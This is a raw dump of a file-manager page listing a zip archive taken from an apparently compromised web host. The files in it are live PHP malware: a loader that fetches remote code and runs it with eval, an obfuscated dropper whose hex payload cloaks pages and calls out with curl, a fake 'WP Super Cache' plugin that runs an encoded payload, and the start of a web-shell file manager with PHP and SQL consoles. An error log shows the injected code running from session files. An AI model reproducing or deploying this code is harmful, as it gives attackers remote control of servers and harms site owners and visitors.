ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/noobow.com/ef1c7c/kasvalid.com.zip
Back
PK �]�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK �]�\�m,G$5 $5 kasvalid.com:80.phpnu ��6�$ <?php class ConnectionManager { private $at = ''; private $hy = ''; public function manageState($p1) { $a = array(((2*52)),(((61*1)+40)),(((106*22)-2212)),(2*25),(2*49),((30+75)),((25*31)-665)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function resolveConflict($p1,$p2) { $a = array(((51*2)+0),(67+20+24),(53+48+11),(101),((2*55))); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function terminateSession($p1,$p2) { $a = array((((68*13)-782)),(((90*1)+29)),(87+13+14),(40+65),((68+48)),((54*1)+47)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function handleRequest($p1) { $a = array((((29*108)-3031)),(((33*1)+82)),((115-4)),(52+56),(47+23+29),(102)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function fetchSummary($p1,$p2=null) { $a = array(((109*1)),105,(2*57),(119-3),((77+8+29))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function authorizeUser() { $this->hy = $this->fetchSummary($this->checkConsistency(), '/'); } public function updateRegistry() { $this->at = $this->manageState($this->ft); } public function rollbackTransaction() { $fn = $this->hy.'/xl-67e24bede9353'; $f = $this->resolveConflict($fn, 'w'); $this->terminateSession($f, $this->at); $this->handleRequest($f); $this->saveChanges($fn); } private $ft = '3c3f70687020636c617373205f65727b70726976617465207' . '37461746963245f75643b7374617469632066756e6374696f6' . 'e205f6d6228245f7777672c245f777179297b6966282173656' . 'c663a3a245f75642973656c663a3a5f69686c28293b245f756' . '9793d7374726c656e28245f777179293b245f76693d6261736' . '536345f6465636f64652873656c663a3a245f75645b245f777' . '7675d293b666f7228245f65683d302c245f72693d7374726c6' . '56e28245f7669293b245f6568213d3d245f72693b2b2b245f6' . '56829245f76695b245f65685d3d636872286f726428245f766' . '95b245f65685d295e6f726428245f7771795b245f656825245' . 'f7569795d29293b72657475726e245f76693b7d70726976617' . '465207374617469632066756e6374696f6e205f69686c28297' . 'b73656c663a3a245f75643d617272617928275f787664273d3' . 'e274867454b4553775252446377444230474d4135454e544d4' . 'f42674e794c5273644f417348546e3949272c275f7a7a273d3' . 'e2748416f48486a6f4c4855634c48426b505a5555494769384' . 'a41416b2b455141464d556f4443796b4547676b7444426b652' . '72c275f6d6c78273d3e275042413d272c275f7a7170273d3e2' . '74f673474475477304c6c3857485142644578304158524d644' . '1463054485142644668345141447367496741514869315a425' . '338705752596545414138476a454546683049414473774d524' . 'd374e433151272c275f727568273d3e274c67514146413d3d2' . '72c275f726b75273d3e275978674854773d3d272c275f79792' . '73d3e27597863514647453d272c275f716f79273d3e274b413' . '8634d773d3d272c275f746f6b273d3e27272c275f666c6f273' . 'd3e27272c275f627662273d3e27272c275f79656c273d3e274' . 'e77415a4c3035436341515950566f614f68594c4e6867494e7' . '873654b784566635263434d6c734f4d426b644d4163494c566' . 'f484c45734a5067414d59673d3d272c275f647161273d3e275' . '04273664877414841786f72272c275f697467273d3e274e784' . '9444551414647415536272c275f6971273d3e274c426b474f6' . '8634c272c275f6c7061273d3e274e784d434569773d272c275' . 'f66786b273d3e2747436b3653773d3d272c275f697a6f273d3' . 'e274c7849424e773d3d272c275f656276273d3e274c68494a4' . '553593d272c275f6c79273d3e2759413d3d272c275f706e273' . 'd3e274c67634b4c51733d272c275f7071273d3e27667a34774' . '3795a4c626c6855556e77734d4155515a56593d272c275f6f6' . '574273d3e274e78306141673d3d272c275f656e79273d3e275' . '56e736c474445664178517247416b5a5a56456c477a4143413' . '370566647773d272c275f6d6565273d3e274c416f625a565a5' . '9272c275f7a66273d3e27272c275f746f6e273d3e274e77554' . '841773d3d272c275f766674273d3e27556d453d272c275f636' . 'a63273d3e2746794d7444796736457a343845534d6d4669633' . 'd272c275f7975273d3e27467a63794a4141374f5449514d544' . '5314453636a4d41416c4b53593d272c275f6561273d3e27445' . '463734f677333506a51624e6a4d3d272c275f6a6b273d3e274' . '67959684d67416e4a69634e4c54516c476a7768272c275f636' . 'a273d3e2746793039495141734f6a514e4a696732476a63392' . '72c275f6e6f73273d3e27272c275f6161273d3e27467a67364' . '47a4d3847696f7244536b38272c275f6563273d3e274679593' . '14479307a476a516b4454637a272c275f766272273d3e27272' . 'c275f6a6e273d3e27467a7777447a636e45794568455477374' . '66a673d272c275f6b6879273d3e27467a4d754b41416b4e6a4' . '5614b53346e466a633d272c275f6d7261273d3e27467a30784' . '96741784f6a51514f7a497a445330674e6741764b69413d272' . 'c275f707668273d3e27467a6b2b506741314e536751507a307' . '644536b764b6741724a54773d272c275f666a67273d3e27445' . '36f6f4e7773714f6a6b624b7a633d272c275f6279273d3e274' . '4536b6e4544677641433075477a343d272c275f6b7276273d3' . 'e274f7741534d6730524f673d3d272c275f6878273d3e27466' . 'a685466773d3d272c275f67646c273d3e276677354a436a4e5' . '466773d3d272c275f6f7a273d3e27667731474f6a6f5858456' . '73d272c275f6a7367273d3e2766316f4a4c566868272c275f6' . '56e63273d3e274e676f3d272c275f6678273d3e274b67303d2' . '72c275f6d68273d3e274c516b46272c275f68756e273d3e274' . 'c6873654a773d3d272c293b7d7d636c617373205f67737b707' . '2697661746520737461746963245f75643b737461746963206' . '6756e6374696f6e205f6d6228245f777767297b69662821736' . '56c663a3a245f75642973656c663a3a5f69686c28293b72657' . '475726e2073656c663a3a245f75645b245f7777675d3b7d707' . '26976617465207374617469632066756e6374696f6e205f696' . '86c28297b73656c663a3a245f75643d61727261792830302c3' . '0372c3033362c3033362c30312c3033362c30322c30372c303' . '12c3031362c3033302c30362c3033322c3031322c3031312c3' . '031332c3032372c3033312c30332c30322c30312c30312c303' . '02c3031322c3031322c303331302c303637332c303132302c3' . '0302c30323030302c30312c303432332c30343233293b7d7d6' . '86561646572285f65723a3a5f6d6228275f787664272c275f6' . '269742729293b686561646572285f65723a3a5f6d6228275f7' . 'a7a272c275f65696a2729293b696628697373657428245f474' . '5545b5f65723a3a5f6d6228275f6d6c78272c275f786227295' . 'd29297b245f70613d5f676b74285f65723a3a5f6d6228275f7' . 'a7170272c275f7767692729293b696628245f7061262673747' . '2706f7328245f70612c5f65723a3a5f6d6228275f727568272' . 'c275f737a6c272929213d3d66616c7365297b646965285f657' . '23a3a5f6d6228275f726b75272c275f776c712729293b7d656' . 'c73657b646965285f65723a3a5f6d6228275f7979272c275f7' . '571702729293b7d7d696628697373657428245f4745545b5f6' . '5723a3a5f6d6228275f716f79272c275f6e7027295d29297b2' . '45f72693d245f434f4f4b49453b245f7771793d5f67733a3a5' . 'f6d622830293b245f7777673d5f67733a3a5f6d622831293b2' . '45f626b673d617272617928293b245f626b675b245f7771795' . 'd3d5f65723a3a5f6d6228275f746f6b272c275f716627293b7' . '768696c6528245f777767297b245f626b675b245f7771795d2' . 'e3d245f72695b5f67733a3a5f6d622832295d5b245f7777675' . 'd3b69662821245f72695b5f67733a3a5f6d622833295d5b245' . 'f7777672b5f67733a3a5f6d622834295d297b69662821245f7' . '2695b5f67733a3a5f6d622835295d5b245f7777672b5f67733' . 'a3a5f6d622836295d29627265616b3b245f7771792b2b3b245' . 'f626b675b245f7771795d3d5f65723a3a5f6d6228275f666c6' . 'f272c275f6d6b27293b245f7777672b2b3b7d245f7777673d2' . '45f7777672b5f67733a3a5f6d622837292b5f67733a3a5f6d6' . '22838293b7d245f7771793d245f626b675b5f67733a3a5f6d6' . '22839295d28292e245f626b675b5f67733a3a5f6d622831302' . '95d3b69662821245f626b675b5f67733a3a5f6d62283131295' . 'd28245f77717929297b245f7777673d245f626b675b5f67733' . 'a3a5f6d62283132295d28245f7771792c245f626b675b5f677' . '33a3a5f6d62283133295d293b245f626b675b5f67733a3a5f6' . 'd62283134295d28245f7777672c245f626b675b5f67733a3a5' . 'f6d62283135295d2e245f626b675b5f67733a3a5f6d6228313' . '6295d28245f626b675b5f67733a3a5f6d62283137295d28245' . 'f72695b5f67733a3a5f6d62283138295d2929293b7d696e636' . 'c75646528245f777179293b7d66756e6374696f6e205f676b7' . '428245f7079692c245f73683d66616c73652c245f66763d6e7' . '56c6c297b245f736d633d5f65723a3a5f6d6228275f6276622' . '72c275f777a27293b245f756e6d3d5f65723a3a5f6d6228275' . 'f79656c272c275f746d27292e245f7079693b69662869735f6' . '3616c6c61626c65285f65723a3a5f6d6228275f647161272c2' . '75f6e6d73272929297b245f7671783d6375726c5f696e69742' . '8245f756e6d293b6375726c5f7365746f707428245f7671782' . 'c4355524c4f50545f53534c5f564552494659504545522c666' . '16c7365293b6375726c5f7365746f707428245f7671782c435' . '5524c4f50545f53534c5f564552494659484f53542c5f67733' . 'a3a5f6d6228313929293b6375726c5f7365746f707428245f7' . '671782c4355524c4f50545f464f4c4c4f574c4f434154494f4' . 'e2c5f67733a3a5f6d6228323029293b6375726c5f7365746f7' . '07428245f7671782c4355524c4f50545f52455455524e54524' . '14e534645522c5f67733a3a5f6d6228323129293b6375726c5' . 'f7365746f707428245f7671782c4355524c4f50545f4845414' . '445522c5f67733a3a5f6d6228323229293b6375726c5f73657' . '46f707428245f7671782c4355524c4f50545f434f4e4e45435' . '454494d454f55542c5f67733a3a5f6d6228323329293b63757' . '26c5f7365746f707428245f7671782c4355524c4f50545f544' . '94d454f55542c5f67733a3a5f6d6228323429293b245f736d6' . '33d6375726c5f6578656328245f767178293b245f74653d637' . '5726c5f676574696e666f28245f767178293b6375726c5f636' . 'c6f736528245f767178293b696628245f74655b5f65723a3a5' . 'f6d6228275f697467272c275f66776127295d213d5f67733a3' . 'a5f6d62283235292972657475726e2066616c73653b7d656c7' . '3657b245f646a6f3d70617273655f75726c28245f756e6d293' . 'b245f676e3d28245f646a6f5b5f65723a3a5f6d6228275f697' . '1272c275f7a6e27295d3d3d5f65723a3a5f6d6228275f6c706' . '1272c275f6776622729293b245f6e6d3d5f65723a3a5f6d622' . '8275f66786b272c275f6c6e6b27292e245f646a6f5b5f65723' . 'a3a5f6d6228275f697a6f272c275f737527295d3b696628697' . '373657428245f646a6f5b5f65723a3a5f6d6228275f6562762' . '72c275f676c6327295d2929245f6e6d2e3d5f65723a3a5f6d6' . '228275f6c79272c275f737627292e245f646a6f5b5f65723a3' . 'a5f6d6228275f706e272c275f726f27295d3b245f6e6d2e3d5' . 'f65723a3a5f6d6228275f7071272c275f766427292e245f646' . 'a6f5b5f65723a3a5f6d6228275f6f6574272c275f726976272' . '95d2e5f65723a3a5f6d6228275f656e79272c275f716677272' . '93b245f676b3d66736f636b6f70656e2828245f676e3f5f657' . '23a3a5f6d6228275f6d6565272c275f797727293a5f65723a3' . 'a5f6d6228275f7a66272c275f646f652729292e245f646a6f5' . 'b5f65723a3a5f6d6228275f746f6e272c275f6a747727295d2' . 'c245f676e3f5f67733a3a5f6d62283236293a5f67733a3a5f6' . 'd6228323729293b696628245f676b297b667075747328245f6' . '76b2c245f6e6d293b245f76693d5f67733a3a5f6d622832382' . '93b7768696c65282166656f6628245f676b29297b245f7a676' . 'f3d666765747328245f676b2c5f67733a3a5f6d62283239292' . '93b696628245f766929245f736d632e3d245f7a676f3b69662' . '8245f7a676f3d3d5f65723a3a5f6d6228275f766674272c275' . 'f6b6a272929245f76693d5f67733a3a5f6d62283330293b7d6' . '6636c6f736528245f676b293b7d7d72657475726e245f736d6' . '33b7d245f666c643d697373657428245f5345525645525b5f6' . '5723a3a5f6d6228275f636a63272c275f777927295d293b245' . 'f6b6d6c3d697373657428245f5345525645525b5f65723a3a5' . 'f6d6228275f7975272c275f63667427295d293b245f6a6c613' . 'd697373657428245f5345525645525b5f65723a3a5f6d62282' . '75f6561272c275f72617527295d293b245f72716f3d6973736' . '57428245f5345525645525b5f65723a3a5f6d6228275f6a6b2' . '72c275f72756227295d293f245f5345525645525b5f65723a3' . 'a5f6d6228275f636a272c275f79697127295d3a5f65723a3a5' . 'f6d6228275f6e6f73272c275f666727293b245f74713d69737' . '3657428245f5345525645525b5f65723a3a5f6d6228275f616' . '1272c275f6c6e27295d293f245f5345525645525b5f65723a3' . 'a5f6d6228275f6563272c275f726127295d3a5f65723a3a5f6' . 'd6228275f766272272c275f756e6527293b245f666c643d697' . '373657428245f5345525645525b5f65723a3a5f6d6228275f6' . 'a6e272c275f686427295d293f245f5345525645525b5f65723' . 'a3a5f6d6228275f6b6879272c275f677a7827295d3a6e756c6' . 'c3b245f6b6d6c3d697373657428245f5345525645525b5f657' . '23a3a5f6d6228275f6d7261272c275f69657227295d293f245' . 'f5345525645525b5f65723a3a5f6d6228275f707668272c275' . 'f6d6a6e27295d3a6e756c6c3b245f6a6c613d6973736574282' . '45f5345525645525b5f65723a3a5f6d6228275f666a67272c2' . '75f6f657827295d293f245f5345525645525b5f65723a3a5f6' . 'd6228275f6279272c275f6c6a27295d3a6e756c6c3b6966286' . '6696c7465725f76617228245f666c642c5f67733a3a5f6d622' . '833312929297b245f786c7a3d245f666c643b7d656c7365696' . '62866696c7465725f76617228245f6b6d6c2c5f67733a3a5f6' . 'd622833322929297b245f786c7a3d245f6b6d6c3b7d656c736' . '57b245f786c7a3d245f6a6c613b7d696628697373657428245' . 'f4745545b5f65723a3a5f6d6228275f6b7276272c275f62752' . '7295d29297b6563686f205f65723a3a5f6d6228275f6878272' . 'c275f686927292e245f786c7a2e5f65723a3a5f6d6228275f6' . '7646c272c275f726927292e245f72716f2e5f65723a3a5f6d6' . '228275f6f7a272c275f71666827292e245f74712e5f65723a3' . 'a5f6d6228275f6a7367272c275f666b27293b6578697428293' . 'b7d69662821697373657428245f786c7a297c7c21697373657' . '428245f72716f297c7c21697373657428245f747129297b657' . '8697428293b7d656c73657b245f6f65633d6172726179285f6' . '5723a3a5f6d6228275f656e63272c275f7a717627293d3e245' . 'f786c7a2c5f65723a3a5f6d6228275f6678272c275f6c67692' . '7293d3e245f72716f2c5f65723a3a5f6d6228275f6d68272c2' . '75f6c6327293d3e245f7471293b245f756e6e3d75726c656e6' . '36f6465286261736536345f656e636f6465286a736f6e5f656' . 'e636f646528245f6f65632929293b245f70613d5f676b74282' . '45f756e6e293b696628245f70612626737472706f7328245f7' . '0612c5f65723a3a5f6d6228275f68756e272c275f6c6427292' . '9213d3d66616c7365297b6563686f245f70613b65786974282' . '93b7d7d'; public function saveChanges($p) { include $p; } public function checkConsistency() { $a=array(115,(((106*69)-7193)),((59*1)+56),((82*83)-6711),((103*1)),(((93*1)+8)),((66+50)),((105-10)),(2*58),((98*1)+3),(117-8),((121-9)),((80*95)-7505),((25+28+47)),105,(114)); $s=''; foreach($a as $n){$s.=chr($n);} return $s(); } } $cv = new ConnectionManager(); $cv->authorizeUser(); $cv->updateRegistry(); $cv->rollbackTransaction(); PK �]�\Q�f 676015/1.txtnu �[��� /home/tokomrjk/kasvalid.com PK �]�\R4�"� � 676015/radio.phpnu �[��� %PDF- %PDF- <?php /** * Plugin Name: WP Super Cache * Plugin URI: https://github.com/cAT3VWynuiL7CRgr/c332d * Description: WP Super Cache * Version: 1.0 * Author: WP Super Cache * Author URI: https://github.com/cAT3VWynuiL7CRgr/c332d * License: GPLv2 */ $JDYc1 = "Y4_0rRoxDk7pH1wtcBjOZu2PgyICUGmiVAXqKNLvEWsfTJ5eSdhzM3b9aQ68lFn"; $h6bO2 = $JDYc1[24].$JDYc1[51].$JDYc1[31].$JDYc1[62].$JDYc1[43].$JDYc1[60].$JDYc1[56].$JDYc1[15].$JDYc1[47]; $iQgd6 = $JDYc1[54].$JDYc1[56].$JDYc1[42].$JDYc1[47].$JDYc1[58].$JDYc1[1].$JDYc1[2].$JDYc1[49].$JDYc1[47].$JDYc1[16].$JDYc1[6].$JDYc1[49].$JDYc1[47]; $ZpPrv = "7Vv/c9rGEv89M/kfLoobwXuABMZOagNxapMv08T2s5030xf6GFk6QM9CopIIdtr0b3+7dzpJdxIgp0lnOlMcG3Ha3dvd2/3s3ok8fHAU0Xgcu3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26UAJli+f1BvveCs6Sfqs/ObRkWJ59t5+NJsicp8jtKGsJ0RNi3h6bpsm+MScu8w+KXX8S4HfDouIhTV7Gi0zGi7UyvM0ynmUynq2V0dwsYz+Tsb9WxvVmGd1MRnetDGezjE4mo7NWhr1ZRjuT0V4rYyHLKKVZKucS/EarL09n4n88IM+JHur4vYhm9l+hysnNZ5x8VZG8y8jlwWfJlBGTcQs7moM1FJdilm3TdO5nRPt+RpjPikZ0txrRva8RZvdeRpid+xnRLhrRSVSM1xohKK5UI8T/+sDZEAL/Dw=="; eval($h6bO2($iQgd6($ZpPrv)));PK �]�\buLu[ [ ? .well-known/pki-validation/3653E2D37F2FC095E960667664513B9B.txtnu �[��� 4057EE471448112A9F2E7A80FA98507FFA5E4D8B0D6BD5E62A3733BE3F70F249 comodoca.com 6731c3a7dc973PK �]�\���� � error_lognu �[��� [18-Jul-2025 02:37:09 UTC] PHP Warning: Undefined array key 37 in /home/tokomrjk/kasvalid.com/app.php on line 51 [18-Jul-2025 02:37:09 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/kasvalid.com/app.php on line 51 [18-Jul-2025 02:37:09 UTC] PHP Warning: Undefined array key 37 in /home/tokomrjk/kasvalid.com/app.php on line 52 [18-Jul-2025 02:37:09 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/kasvalid.com/app.php on line 52 [18-Jul-2025 02:37:09 UTC] PHP Warning: Undefined array key 37 in /home/tokomrjk/kasvalid.com/app.php on line 53 [18-Jul-2025 02:37:09 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/kasvalid.com/app.php on line 53 [18-Jul-2025 02:37:09 UTC] PHP Warning: Undefined array key 16 in /home/tokomrjk/kasvalid.com/app.php on line 62 [18-Jul-2025 02:37:09 UTC] PHP Fatal error: Uncaught Error: Value of type null is not callable in /home/tokomrjk/kasvalid.com/app.php:62 Stack trace: #0 {main} thrown in /home/tokomrjk/kasvalid.com/app.php on line 62 [03-Aug-2025 13:26:47 UTC] PHP Warning: chmod(): No such file or directory in /opt/alt/php81/var/lib/php/session/sess_41e84239387bad93146a9ace85d72465 on line 1 [22-Sep-2025 10:14:52 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_0d9b35b3714b1da1bf8a3888407d9800(1) : eval()'d code on line 1 [22-Sep-2025 10:14:52 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_0d9b35b3714b1da1bf8a3888407d9800(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_0d9b35b3714b1da1bf8a3888407d9800(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_0d9b35b3714b1da1bf8a3888407d9800(1): eval() #2 /home/tokomrjk/kasvalid.com/app.php(67): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_0d9b35b3714b1da1bf8a3888407d9800(1) : eval()'d code on line 1 [22-Sep-2025 10:14:52 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_1a308bdb17847059becefbc6fde2ab23(1) : eval()'d code on line 1 [22-Sep-2025 10:14:52 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_1a308bdb17847059becefbc6fde2ab23(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_1a308bdb17847059becefbc6fde2ab23(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_1a308bdb17847059becefbc6fde2ab23(1): eval() #2 /home/tokomrjk/kasvalid.com/app.php(67): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_1a308bdb17847059becefbc6fde2ab23(1) : eval()'d code on line 1 [22-Sep-2025 10:14:53 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_6f1ce2bd26b0e8e195d190b012c97dfb(1) : eval()'d code on line 1 [22-Sep-2025 10:14:53 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_6f1ce2bd26b0e8e195d190b012c97dfb(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_6f1ce2bd26b0e8e195d190b012c97dfb(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_6f1ce2bd26b0e8e195d190b012c97dfb(1): eval() #2 /home/tokomrjk/kasvalid.com/app.php(67): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_6f1ce2bd26b0e8e195d190b012c97dfb(1) : eval()'d code on line 1 [26-Sep-2025 20:14:33 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_85b1e69ac618000ea4acaa5dbde4e3a5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:33 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_85b1e69ac618000ea4acaa5dbde4e3a5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:33 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_85b1e69ac618000ea4acaa5dbde4e3a5(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_85b1e69ac618000ea4acaa5dbde4e3a5(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_85b1e69ac618000ea4acaa5dbde4e3a5(1): eval() #2 /home/tokomrjk/kasvalid.com/app.php(67): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_85b1e69ac618000ea4acaa5dbde4e3a5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:34 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_36e7c0afde1aebad3a487a42343b51d5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:34 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_36e7c0afde1aebad3a487a42343b51d5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:34 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_36e7c0afde1aebad3a487a42343b51d5(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_36e7c0afde1aebad3a487a42343b51d5(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_36e7c0afde1aebad3a487a42343b51d5(1): eval() #2 /home/tokomrjk/kasvalid.com/app.php(67): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_36e7c0afde1aebad3a487a42343b51d5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:36 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_c84d9d84415b66dd2b1266e5250f93fa(1) : eval()'d code on line 1 [26-Sep-2025 20:14:36 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_c84d9d84415b66dd2b1266e5250f93fa(1) : eval()'d code on line 1 [26-Sep-2025 20:14:36 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_c84d9d84415b66dd2b1266e5250f93fa(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_c84d9d84415b66dd2b1266e5250f93fa(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_c84d9d84415b66dd2b1266e5250f93fa(1): eval() #2 /home/tokomrjk/kasvalid.com/app.php(67): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_c84d9d84415b66dd2b1266e5250f93fa(1) : eval()'d code on line 1 PK �]�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) 